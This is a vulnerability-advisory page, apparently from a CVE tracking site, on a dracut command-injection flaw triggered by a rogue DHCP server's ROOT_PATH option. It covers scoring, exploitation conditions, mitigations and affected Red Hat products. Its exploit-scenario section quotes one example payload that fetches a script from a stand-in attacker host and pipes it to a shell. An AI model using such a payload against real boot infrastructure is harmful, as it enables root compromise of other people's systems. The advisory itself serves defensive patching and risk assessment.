Skip to main content
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Position rogue DHCP server on adjacent network segment
  2. Delivery
    Serve crafted ROOT_PATH option containing shell command-substitution payload
  3. Exploit
    Victim initiates network boot and dracut 40network module processes DHCP response
  4. Execution
    Boot failure occurs, dracut enters emergency hook processing
  5. Persist
    Unquoted ROOT_PATH-derived content executed as root
  6. Impact
    Full system compromise before OS initialization completes

Vulnerability Assessment

Weakness
CWE
CWE-78
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Sign in to read
Exploitation Conditions

Exploitation requires all of the following conditions simultaneously: (1) the attacker controls or compromises a DHCP server reachable by the target on the same network broadcast domain (AV:A - remote internet exploitation is not possible); (2) the target system is configured to use dracut's 40network module with a DHCP-supplied ROOT_PATH, typical of iSCSI-root, NFS-root, or PXE network-boot deployments - systems booting from local disk without network-root configuration are not affected even if dracut is installed; (3) the target system undergoes a boot failure, causing dracut to enter its emergency hook processing path where the unquoted script is sourced. No authentication to the target is required (PR:N), but the attacker has no mechanism to directly trigger a boot failure on demand - they must either wait for a natural failure or separately induce one. Exploitation is therefore not reliably automatable and is more likely in targeted scenarios against known network-boot infrastructure.
Impact

CVSS 3.1 scores this at 7.5 (AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H), which accurately reflects the high CIA impact of root-level code execution while tempering the score with AV:A and AC:H constraints. AV:A limits exposure to attackers already on the same broadcast domain or DHCP-reachable segment - remote internet-based exploitation is not possible without additional network pivoting. AC:H reflects two compounding conditions that must both be true: the target must use DHCP-supplied ROOT_PATH (network-boot or iSCSI root configuration), and a boot failure must occur to trigger emergency hook processing. No EPSS score was provided in the input data; exploitation probability cannot be quantified from available signals. There is no CISA KEV listing and no public POC identified, making this a theoretical-but-credible attack rather than an actively exploited one. Despite the 7.5 CVSS, real-world exploitation is constrained: most enterprise RHEL systems boot from local disk without network-root configurations and are therefore not reachable via this vector, even if dracut is installed. The highest-risk targets are bare-metal provisioning environments, PXE-boot infrastructure, and iSCSI-root deployments on shared network segments.
Exploit ScenarioDerived

An attacker with a system on the same network segment as a server configured for iSCSI or NFS root boot stands up a rogue DHCP server and sets the ROOT_PATH option to a value containing a shell command-substitution payload such as $(curl attacker.com/payload|sh). When the target server experiences a boot failure - due to a transient storage issue or deliberate disruption - dracut sources its emergency hook scripts, the unquoted ROOT_PATH-derived string is evaluated by the shell, and the attacker's command executes as root before the operating system fully initializes. No public proof-of-concept code has been identified, but the exploitation primitive requires only standard DHCP server software and knowledge of dracut's hook execution path.
This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 07, 2026

Command injection in dracut's die() error-handling function allows an unauthenticated attacker on the adjacent network, controlling a rogue DHCP server, to execute arbitrary commands as root during initramfs boot-failure recovery. The flaw exists because error messages written into emergency hook shell scripts under the initramfs environment are not shell-quoted, and those messages can carry attacker-controlled data sourced from the DHCP ROOT_PATH option processed by the 40network module. No public exploit code or CISA KEV listing has been identified at time of analysis, but the exploitation primitive is conceptually straightforward for anyone with DHCP server control on the local network segment.

RemediationAI

Apply Red Hat-issued errata patches for the respective RHEL version as they become available through standard subscription channels (yum/dnf update dracut); monitor https://access.redhat.com/security/cve/CVE-2026-15816 and the Bugzilla entries at https://bugzilla.redhat.com/show_bug.cgi?id=2459963 and https://bugzilla.redhat.com/show_bug.cgi?id=2500889 for confirmed fix versions, which were not available in the data at time of analysis. As a primary compensating control, disable or remove dracut's 40network module on any system that does not require network-root boot (iSCSI, NFS, or PXE root) - this eliminates the DHCP ROOT_PATH input channel entirely; the trade-off is loss of network-boot capability. For environments that require network boot, enforce DHCP server authorization and restrict DHCP responses to trusted servers via network ACLs or 802.1X port control, preventing rogue DHCP servers from responding to client requests. On OpenShift Container Platform 4 nodes, apply Red Hat's platform-specific guidance as node initramfs generation may differ from standalone RHEL.

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Sign in to check
Technical ContextAI · show details

dracut is the standard initramfs image generator used across Red Hat Enterprise Linux and its derivatives. When a system is configured for network root (e.g., iSCSI or NFS root) or processes DHCP at early boot, the 40network module (modules.d/40network/netroot.sh) parses DHCP response fields including ROOT_PATH. The die() function in modules.d/99base/dracut-lib.sh writes error messages-potentially incorporating ROOT_PATH content-into shell scripts placed in the initramfs emergency-hook directory. Because these strings are written without proper shell quoting, an attacker-supplied value containing command-substitution syntax ($(cmd) or backtick sequences) is later executed verbatim when dracut sources those hook scripts during boot-failure handling. CWE-78 (Improper Neutralization of Special Elements used in an OS Command) is the root cause: external data flows into a dynamically constructed shell script without sanitization or quoting, collapsing the boundary between data and code. The affected CPE strings span cpe:2.3:a:red_hat:red_hat_enterprise_linux_6 through 10, Red Hat Hardened Images, and Red Hat OpenShift Container Platform 4.

Know when Red Hat Enterprise Linux 10 gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources
Continue with Google Continue with GitHub

No credit card · 7-day full trial

Severity by source

Vendor (redhat) PRIMARY 7.5 HIGH
AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
vuln.today AI 7.5 HIGH

Adjacent-only DHCP vector, high complexity due to required boot-failure trigger, no authentication needed; root execution yields full CIA impact.

3.1 AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:A/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
SUSE HIGH
Red Hat 7.5 HIGH

Primary rating from Vendor (redhat).

CVSS VectorVendor: redhat

Attack Vector
Adjacent
Attack Complexity
High
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

A flaw was found in dracut. The die() error-handling function writes its message into a shell script under the initramfs emergency-hook directory without properly shell-quoting it. When the message contains data derived from the DHCP ROOT_PATH option, an attacker on the adjacent network who controls a rogue DHCP server can inject a command-substitution sequence that executes as root the next time dracut sources its emergency hook scripts during standard boot-failure handling.

Executive ViewAI

Why It Matters

Dracut, the initramfs generator used across Linux enterprise and infrastructure environments, contains a command injection vulnerability allowing unauthenticated remote attackers with local network access to execute arbitrary commands as root during boot failure recovery. Organizations running dracut on networks where DHCP traffic is not adequately secured face the risk of system compromise at the lowest privilege level, affecting availability and integrity of critical Linux infrastructure.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations include: (1) enable DHCP snooping on network switches to detect and prevent rogue DHCP servers; (2) configure DHCP server IP whitelisting and network ACLs to restrict legitimate DHCP sources; (3) implement layer-2 network segmentation or port security to limit adjacent-network access to boot infrastructure; (4) disable dracut emergency shell recovery modes and network boot modules on systems where boot recovery is not operationally required; (5) deploy boot-time monitoring to alert on suspicious DHCP ROOT_PATH values and anomalous boot sequences in production environments.

Threat Intelligence Overview

EPSS Score
0.2%
Top 84% exploitable
Prevalence
High
default initramfs generator across all RHEL-family enterprise Linux distributions
Social Media
1
Sightings
Data Quality
8 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment Vendor CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Controlled
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

38
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS Command Injection CRITICAL

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Affected Products (CPE)CVE.org

cpe:2.3:a:red_hat:red_hat_enterprise_linux_10:*:*:*:*:*:*:*:*
cpe:2.3:a:red_hat:red_hat_enterprise_linux_6:*:*:*:*:*:*:*:*
cpe:2.3:a:red_hat:red_hat_enterprise_linux_7:*:*:*:*:*:*:*:*
cpe:2.3:a:red_hat:red_hat_enterprise_linux_8:*:*:*:*:*:*:*:*
cpe:2.3:a:red_hat:red_hat_enterprise_linux_9:*:*:*:*:*:*:*:*
cpe:2.3:a:red_hat:red_hat_hardened_images:*:*:*:*:*:*:*:*
cpe:2.3:a:red_hat:red_hat_openshift_container_platform_4:*:*:*:*:*:*:*:*

More in Red Hat Enterprise Linux 10

View all
CVE-2026-18663 MEDIUM
5.9 Aug 12

Heap corruption via double-free in 389-ds-base's LDAP control parsing allows an unauthenticated remote attacker to crash
CVE-2026-4631 CRITICAL POC
9.8 Apr 07

Remote code execution in Cockpit's web interface allows unauthenticated attackers to execute arbitrary commands on the h
CVE-2026-4480 CRITICAL POC
9.0 May 26

Remote code execution in Samba's printing subsystem allows remote attackers to inject arbitrary shell commands via craft
CVE-2026-101258 HIGH POC
7.8 Oct 06

Ghostscript can execute arbitrary shell commands with the privileges of its process when it renders a crafted PostScript
CVE-2026-96889 HIGH POC
7.8 Sep 23

Use-after-free in librsvg during rendering of crafted SVG documents with nested XInclude directives and duplicate entity
CVE-2026-4775 HIGH POC
7.8 Mar 24

A signed integer overflow vulnerability exists in the libtiff library's putcontig8bitYCbCr44tile function that leads to

CVE-2026-114406 MEDIUM POC
6.8 Oct 21

The system CA trust store shipped in Red Hat's ca-certificates RPM packages includes eMudhra root authorities that signe
CVE-2026-18922 CRITICAL
9.8 Sep 07

Authentication bypass in 389 Directory Server (shipped as Red Hat Directory Server 11-13 and within RHEL 6-10) lets remo
CVE-2026-14544 CRITICAL
9.8 Jul 03

Remote code execution and privilege escalation in HPLIP (HP Linux Imaging and Printing) affects the hpcups print filter

CVE-2026-76578 CRITICAL
9.8 Sep 07

Unauthenticated privilege escalation in FreeIPA (Red Hat Identity Management) allows a remote attacker to gain genuine a
CVE-2026-102560 CRITICAL
9.8 Sep 29

A heap buffer overflow exists in libsoup's WebSocket permessage-deflate compression path: when a very large outbound mes
CVE-2026-5121 HIGH
7.5 Mar 30

Remote code execution in libarchive on 32-bit systems allows unauthenticated attackers to execute arbitrary code via spe

Same weakness CWE-78 – OS Command Injection

View all
CVE-2019-15107 CRITICAL POC
9.8
CVE-2024-51378 CRITICAL POC
9.8
CVE-2014-6271 CRITICAL POC
9.8
CVE-2018-11138 CRITICAL POC
9.8
CVE-2014-6278 HIGH POC
8.8
CVE-2020-9054 CRITICAL POC
9.8
CVE-2017-6334 HIGH POC
8.8
CVE-2024-50603 CRITICAL POC
10.0

Same technique Command Injection

View all
CVE-2024-21887 CRITICAL POC
9.1
CVE-2016-3081 HIGH POC
8.1
CVE-2012-1823 CRITICAL POC
9.8
CVE-2016-1555 CRITICAL POC
9.8
CVE-2024-55956 CRITICAL POC
9.8

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SLES15-SP5-CHOST-BYOS-SAP-CCloud Affected
SLES15-SP6-CHOST-BYOS Affected
SLES15-SP6-CHOST-BYOS-Aliyun Affected
SLES15-SP6-CHOST-BYOS-Azure Affected
SLES15-SP6-CHOST-BYOS-EC2 Affected

References

Advisories & patches
ADVISORY https://nvd.nist.gov/vuln/detail/CVE-2026-15816 ADVISORY https://ubuntu.com/security/notices/USN-8758-1 ADVISORY https://vuldb.com/vuln/386996 REF https://access.redhat.com/errata/RHSA-2026:54571 REF https://access.redhat.com/errata/RHSA-2026:54575 REF https://access.redhat.com/errata/RHSA-2026:54576 REF https://access.redhat.com/errata/RHSA-2026:57580 REF https://access.redhat.com/errata/RHSA-2026:57772 REF https://access.redhat.com/errata/RHSA-2026:57775 REF https://access.redhat.com/errata/RHSA-2026:57785 REF https://access.redhat.com/errata/RHSA-2026:60440 REF https://access.redhat.com/errata/RHSA-2026:60445 REF https://access.redhat.com/errata/RHSA-2026:61252 REF https://access.redhat.com/errata/RHSA-2026:62269 REF https://access.redhat.com/errata/RHSA-2026:62409 REF https://access.redhat.com/errata/RHSA-2026:62549 REF https://access.redhat.com/errata/RHSA-2026:63041 REF https://access.redhat.com/errata/RHSA-2026:63044 REF https://access.redhat.com/errata/RHSA-2026:65839 REF https://access.redhat.com/errata/RHSA-2026:65851 REF https://access.redhat.com/errata/RHSA-2026:66357 REF https://access.redhat.com/errata/RHSA-2026:67857 REF https://access.redhat.com/errata/RHSA-2026:69118 REF https://access.redhat.com/errata/RHSA-2026:69119 REF https://access.redhat.com/errata/RHSA-2026:70586 REF https://access.redhat.com/errata/RHSA-2026:70615 REF https://access.redhat.com/errata/RHSA-2026:74499 REF https://access.redhat.com/errata/RHSA-2026:79114 REF https://access.redhat.com/errata/RHSA-2026:90272 REF https://access.redhat.com/security/cve/CVE-2026-15816 REF https://bugzilla.redhat.com/show_bug.cgi?id=2459963 REF https://bugzilla.redhat.com/show_bug.cgi?id=2500889 REF https://github.com/dracutdevs/dracut/blob/master/modules.d/40network/netroot.sh REF https://github.com/dracutdevs/dracut/blob/master/modules.d/99base/dracut-lib.sh

Search Externally

GitHub PoC Exploit-DB PacketStorm Snyk Rapid7 Nuclei Templates Trickest PoC
Back

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy